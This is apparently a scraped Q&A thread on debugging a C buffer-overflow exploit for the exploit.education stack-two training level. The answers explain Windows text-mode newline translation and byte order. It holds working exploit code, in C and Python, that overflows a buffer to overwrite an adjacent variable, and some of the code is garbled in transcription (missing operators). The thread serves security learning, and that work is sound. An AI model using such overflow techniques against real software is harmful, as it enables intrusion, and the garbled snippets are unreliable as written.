I was writing a stack overflow exploit in C against stack-two of exploit.education.
A little modified version of the the stack-two program is as follows:
/*
* phoenix/stack-two, by https://exploit.education
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;
printf("Welcome to stack-two, brought to you by https://exploit.education\n");
char *ptr = getenv("ExploitEducation");
if (ptr == NULL) {
fprintf(stderr, "please set the ExploitEducation environment variable\n");
exit(1);
}
locals.changeme = 0;
strcpy(locals.buffer, ptr);
if (locals.changeme == 0x0d0a090a) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Almost! changeme is currently 0xx, we want 0x0d0a090a\n",
locals.changeme);
}
exit(0);
}
My exploit is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned int u32;
int main() {
const int size = 100;
char buffer[size];
memset(buffer, 0, size); // Zero out the buffer
memset(buffer, 'x', 64); // Add 64 'x' to the buffer
u32 changeme = 0x0d0a090a;
memcpy(buffer 64, &changeme, 4); // appending 0x0d0a090a to buffer
// Printing the buffer
for (int i = 0; i < 68; i) {
printf("%c", buffer[i]);
}
// Writing the buffer into a file for testing purpose.
FILE *fd = fopen("bb.bin", "wb");
fwrite(buffer, 1, 68, fd);
fclose(fd);
}
Then setting ExploitEducation environment variable as follows:
ExploitEducation=$(./a.exe) # a.exe is the exploit binary
This should have worked but when I executed stack-two the output was:
Welcome to level 2, brought to you by https://exploit.education
Almost! changeme is currently 0x0d090a0d, we want 0x0d0a090a
When I investigated furthur and saw the hexdump of bb.bin
, it was correct and the exploit should work.
hexdump of bb.bin is as follows:
00000000: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000010: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000020: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000030: 7878 7878 7878 7878 7878 7878 7878 7878 xxxxxxxxxxxxxxxx
00000040: 0a09 0a0d ....
So, why does the exploit not work? Why does the python version of this exploit (given below) works while the C version does not?
Working Exploit
I have a working exploit written in python.
import sys
sys.stdout.buffer.write(b"x" * 64 b"\x0a\x09\x0a\x0d")
EDIT:
As Lundin suggested, I tried changing
u32 changeme = 0x0d0a090a;
to uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };
, but it didn't work.
I also tried playing around with the order of bytes and the C language constructs used to lay out the bytes, but nothing worked :(.
CodePudding user response:
The problem is with line endings. "\x0d\x0a"
is a Windows-style line ending ("\r\n"
) and "\x0a"
is a Linux-style line ending ("\n"
). C assumes it knows better than you and translates the Linux-style "\n"
into a Windows-style "\r\n"
. If you open your bb.bin
file in "w"
mode instead of "wb"
mode, you should see the same thing happening.
The solution, then, is to change stdout
into binary mode. You can do this by reopening the stdout
stream with freopen(NULL,"wb",stdout);
. Just to be safe, you can also avoid printf
and write to stdout
directly like fwrite(buffer,1,68,stdout);
.
As a more general tip, examining the output directly with a utility like xxd
(like ./a.exe | xxd
) helps you directly look at the output you're actually interested in, instead of accidentally fixing the problem in your debug code like you did here.
CodePudding user response:
If you need a certain byte order portably, you shouldn't use uint32_t
but a plain byte array:
uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };
or if you fancy escape sequences:
char changeme[] = "\x0d\x0a\x09\x0a";
Otherwise when using larger integer types, the bytes get stored according to CPU endianess.